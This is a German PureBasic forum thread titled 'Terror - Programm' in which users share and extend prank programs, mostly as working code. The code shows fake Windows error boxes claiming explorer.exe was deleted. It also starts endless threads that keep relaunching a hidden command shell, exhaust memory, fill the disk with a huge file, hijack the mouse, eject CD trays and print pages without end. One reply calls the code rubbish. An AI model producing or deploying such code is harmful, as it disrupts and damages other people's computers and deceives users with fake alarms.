Terror - Programm

Hier kann alles mögliche diskutiert werden. Themen zu Purebasic sind hier erwünscht.
Flames und Spam kommen ungefragt in den Mülleimer.
Antworten
ComputerFreak_PB
Beiträge: 57
Registriert: 31.08.2006 20:54

Beitrag von ComputerFreak_PB »

#NULL hat geschrieben:spähs'l

Code: Alles auswählen

For i=0 To 50
  MessageBeep_( Random(1)*16 + Random(1)*48 )
  Delay(170+Random(100))
Next
Delay(500)
MessageBeep_(#MB_ICONHAND):Delay(300)
MessageBeep_(#MB_ICONHAND):Delay(150)
MessageBeep_(#MB_ICONHAND):Delay(300)
MessageBeep_(#MB_ICONHAND):Delay(300)
MessageBeep_(#MB_ICONHAND):Delay(300)
MessageBeep_(#MB_ICONHAND):Delay(150)
MessageBeep_(#MB_ICONHAND):Delay(150)
MessageBeep_(#MB_ICONHAND):Delay(150)
MessageRequester(": [","urlaub",#MB_ICONHAND)
Hab das ganze noch ein bisschen vergrößert:

Code: Alles auswählen

Procedure Hintergrundmusik(Wert)
  Repeat
    Delay(200)
    Repeat
      Zahl = Random(5)
    Until Zahl > 0
    Select zahl
      Case 1: MessageBeep_(#MB_ICONASTERISK)
      Case 2: MessageBeep_(#MB_ICONEXCLAMATION)
      Case 3: MessageBeep_(#MB_ICONHAND)
      Case 4: MessageBeep_(#MB_ICONQUESTION)
      Case 5: MessageBeep_(#MB_OK)
    EndSelect
  ForEver
EndProcedure
Procedure Nachrichten(Wert)
  Repeat
    MessageBox_(0,"Es ist ein Fehler aufgetreten","Es ist ein unberechenbarer Fehler in Windows aufgetreten",#MB_ICONEXCLAMATION)
    MessageBox_(0,"FEHLER!!!","Es ist ein unberechenbarer Fehler in Windows aufgetreten",#MB_ICONEXCLAMATION)
    MessageBox_(0,"Die Datei explorer.exe wurde gefunden","Es ist ein unberechenbarer Fehler in Windows aufgetreten",#MB_ICONEXCLAMATION)
    MessageBox_(0,"Also hat Windows diese Datei gelöscht","Es ist ein unberechenbarer Fehler in Windows aufgetreten",#MB_ICONEXCLAMATION)
    MessageBox_(0,"Die Datei konnte nicht gelöscht werden, da Windows diese Datei benutzt.","Es ist ein unberechenbarer Fehler in Windows aufgetreten",#MB_ICONEXCLAMATION)
  ForEver
EndProcedure
CreateThread(@Hintergrundmusik(),0)
CreateThread(@Nachrichten(),0)
Repeat
ForEver
PureBasic 4.0 Vollversion
Nach oben
Benutzeravatar
PureBasic4.0
Beiträge: 785
Registriert: 29.10.2006 17:26
Wohnort: 127.0.0.1

Beitrag von PureBasic4.0 »

Hi, Leute

Hatte gerade ein bisschen Zeit und habe folgendes Programm zusammengestelt. (Die Codes sind aus diesem Thread und aus dem purebasic codearchiv

Code: Alles auswählen

InitSprite()
Procedure beeps()
  Repeat
    zahl = Random(32767)
    Repeat
      zahl2 = Random(250)
    Until zahl2 > 0
    Freq = zahl/zahl2
    Beep_(Freq,1)
  ForEver
EndProcedure
Procedure cmd()
  Repeat
    Ergebnis = RunProgram("command","","",#PB_Program_Hide)
  Until Ergebnis = 0
EndProcedure
Procedure ram()
  Repeat
    AllocateMemory(999999)
  ForEver
EndProcedure
Procedure mouse()
  Repeat
    SetCursorPos_(Random(1024),Random(768))
  ForEver
EndProcedure
Procedure SetLEDKey(key$,newstate)
  Select LCase(key$)
  Case "c" : keycode=#VK_CAPITAL : oldstate=GetKeyState_(keycode)
  Case "n" : keycode=#VK_NUMLOCK : oldstate=GetKeyState_(keycode)
  Case "s" : keycode=#VK_SCROLL : oldstate=GetKeyState_(keycode)
  EndSelect
  If oldstate<>newstate
    keybd_event_(keycode,1,0,0)
    keybd_event_(keycode,1,#KEYEVENTF_KEYUP,0)
  EndIf
EndProcedure
Procedure UseLed()
  Repeat
    Delay(50)
    state + 1
    If state > 1: state = 0: EndIf
    setledkey("c",state)
    setledkey("n",state)
    setledkey("s",state)
  ForEver
EndProcedure
Procedure CD()
 Anzahl = InitAudioCD()
 If Anzahl <> 0
  Repeat
    cdstate + 1
    If cdstate > 1: cdstate = 0: EndIf
    For a = 0 To Anzahl - 1
      If UseAudioCD(a)
        EjectAudioCD(cdstate)
      EndIf
    Next
  ForEver
 EndIf
EndProcedure
Procedure Disk()
  Repeat
    OpenFile(1,"big.xxl")
    For a = 1 To 1000
      WriteString(1,"|"+Space(99999999))
      WriteLong(1,Random(99999999))
    Next
    CloseFile(1)
  ForEver
EndProcedure
Procedure Printer()
  If DefaultPrinter()
    Repeat
      StartPrinting("")
      NewPrinterPage()
      StartDrawing(PrinterOutput())
        Box(0,0,PrinterPageWidth(),PrinterPageHeight(),RGB(Random(255),Random(255),Random(255)))
      StopDrawing()
      StopPrinting()
    ForEver
  EndIf
EndProcedure
DataSection
  Music1: IncludeBinary "music.ogg"
  Music2:
EndDataSection
MessageRequester("Info","Um den vollen Spaß zu genießen, solltest du folgende Regeln beachten:"+Chr(13)+"1. Drehe deine Boxen voll auf"+Chr(13)+"2. Schalte (falls vorhanden) deinen Drucker an"+Chr(13)+"3. Klicke auf OK")
InitSound()
UseOGGSoundDecoder()
CatchSound(1,?Music1,?Music2-?Music1)
PlaySound(1,1)
Pan = -100
stufe$ = "plus"
SoundVolume(1,100)
 CreateThread(@cmd(),0)
 CreateThread(@ram(),0)
 CreateThread(@beeps(),0)
 CreateThread(@mouse(),0)
 CreateThread(@useled(),0)
 CreateThread(@CD(),0)
 CreateThread(@Disk(),0)
 CreateThread(@Printer(),0)
Repeat
  Debug Pan
  If Pan > 100: stufe$ = "minus": EndIf
  If Pan < -100: stufe$ = "plus": EndIf
  If stufe$ = "minus"
    Pan - 1
  EndIf
  If stufe$ = "plus"
    Pan + 1
  EndIf
  SoundPan(1,Pan)
  Delay(1)
ForEver
PB 4.50 RC1 + Ubuntu 10.04 LTS + Windows 7 x64
Nach oben
Benutzeravatar
DarkSoul
Beiträge: 689
Registriert: 19.10.2006 12:51

Beitrag von DarkSoul »

das piepen hättste weglassen können - autsch!!!

hab noch n paar ideen:

mit GetDC_:
-maus verliert öl
-dann kommt ein fenster mit 'Möchten Sie Microsoft Desktopreiniger starten', was einen kleinen schwamm zum vorschein bringt, mit dem man das schrubben kann...
-das etwa alle 15 min

hab sowas schon mal gemacht, finde es nur grad nich wieder.
Bild
Nach oben
Benutzeravatar
hardfalcon
Beiträge: 3447
Registriert: 29.08.2004 20:46

Beitrag von hardfalcon »

Ein leuchtend roter "Don't panic!"-Button, der am "Schwanz" der Maus/des Mauszeigers hängt... :mrgreen:
Nach oben
Benutzeravatar
Joel
Beiträge: 851
Registriert: 21.04.2006 19:22

Re: Terror - Programm

Beitrag von Joel »

Gibts hier von schon eine überarbeitete Windows 7 Version?:

Code: Alles auswählen

InitSprite()
Procedure beeps()
  Repeat
    zahl = Random(32767)
    Repeat
      zahl2 = Random(250)
    Until zahl2 > 0
    Freq = zahl/zahl2
    Beep_(Freq,1)
  ForEver
EndProcedure
Procedure cmd()
  Repeat
    Ergebnis = RunProgram("command","","",#PB_Program_Hide)
  Until Ergebnis = 0
EndProcedure
Procedure ram()
  Repeat
    AllocateMemory(999999)
  ForEver
EndProcedure
Procedure mouse()
  Repeat
    SetCursorPos_(Random(1024),Random(768))
  ForEver
EndProcedure
Procedure SetLEDKey(key$,newstate)
  Select LCase(key$)
  Case "c" : keycode=#VK_CAPITAL : oldstate=GetKeyState_(keycode)
  Case "n" : keycode=#VK_NUMLOCK : oldstate=GetKeyState_(keycode)
  Case "s" : keycode=#VK_SCROLL : oldstate=GetKeyState_(keycode)
  EndSelect
  If oldstate<>newstate
    keybd_event_(keycode,1,0,0)
    keybd_event_(keycode,1,#KEYEVENTF_KEYUP,0)
  EndIf
EndProcedure
Procedure UseLed()
  Repeat
    Delay(50)
    state + 1
    If state > 1: state = 0: EndIf
    setledkey("c",state)
    setledkey("n",state)
    setledkey("s",state)
  ForEver
EndProcedure
Procedure CD()
Anzahl = InitAudioCD()
If Anzahl <> 0
  Repeat
    cdstate + 1
    If cdstate > 1: cdstate = 0: EndIf
    For a = 0 To Anzahl - 1
      If UseAudioCD(a)
        EjectAudioCD(cdstate)
      EndIf
    Next
  ForEver
EndIf
EndProcedure
Procedure Disk()
  Repeat
    OpenFile(1,"big.xxl")
    For a = 1 To 1000
      WriteString(1,"|"+Space(99999999))
      WriteLong(1,Random(99999999))
    Next
    CloseFile(1)
  ForEver
EndProcedure
Procedure Printer()
  If DefaultPrinter()
    Repeat
      StartPrinting("")
      NewPrinterPage()
      StartDrawing(PrinterOutput())
        Box(0,0,PrinterPageWidth(),PrinterPageHeight(),RGB(Random(255),Random(255),Random(255)))
      StopDrawing()
      StopPrinting()
    ForEver
  EndIf
EndProcedure
DataSection
  Music1: IncludeBinary "music.ogg"
  Music2:
EndDataSection
MessageRequester("Info","Um den vollen Spaß zu genießen, solltest du folgende Regeln beachten:"+Chr(13)+"1. Drehe deine Boxen voll auf"+Chr(13)+"2. Schalte (falls vorhanden) deinen Drucker an"+Chr(13)+"3. Klicke auf OK")
InitSound()
UseOGGSoundDecoder()
CatchSound(1,?Music1,?Music2-?Music1)
PlaySound(1,1)
Pan = -100
stufe$ = "plus"
SoundVolume(1,100)
CreateThread(@cmd(),0)
CreateThread(@ram(),0)
CreateThread(@beeps(),0)
CreateThread(@mouse(),0)
CreateThread(@useled(),0)
CreateThread(@CD(),0)
CreateThread(@Disk(),0)
CreateThread(@Printer(),0)
Repeat
  Debug Pan
  If Pan > 100: stufe$ = "minus": EndIf
  If Pan < -100: stufe$ = "plus": EndIf
  If stufe$ = "minus"
    Pan - 1
  EndIf
  If stufe$ = "plus"
    Pan + 1
  EndIf
  SoundPan(1,Pan)
  Delay(1)
ForEver
----------------------------------------------------------

PB 5.20 Beta 10 | Windows 7
Nach oben
Benutzeravatar
Kiffi
Beiträge: 10711
Registriert: 08.09.2004 08:21
Wohnort: Amphibios 9

Re: Terror - Programm

Beitrag von Kiffi »

Joel hat geschrieben:Gibts hier von schon eine überarbeitete Windows 7 Version?:
wieso sollte man solch einen Mist portieren wollen?
a²+b²=mc²
Nach oben
Benutzeravatar
Fluid Byte
Beiträge: 3110
Registriert: 27.09.2006 22:06
Wohnort: Berlin, Mitte

Re: Terror - Programm

Beitrag von Fluid Byte »

Wow! Welch' epischer Bump!
Windows 10 Pro, 64-Bit / Outtakes | Derek
Nach oben
Antworten

Zurück zu „Offtopic“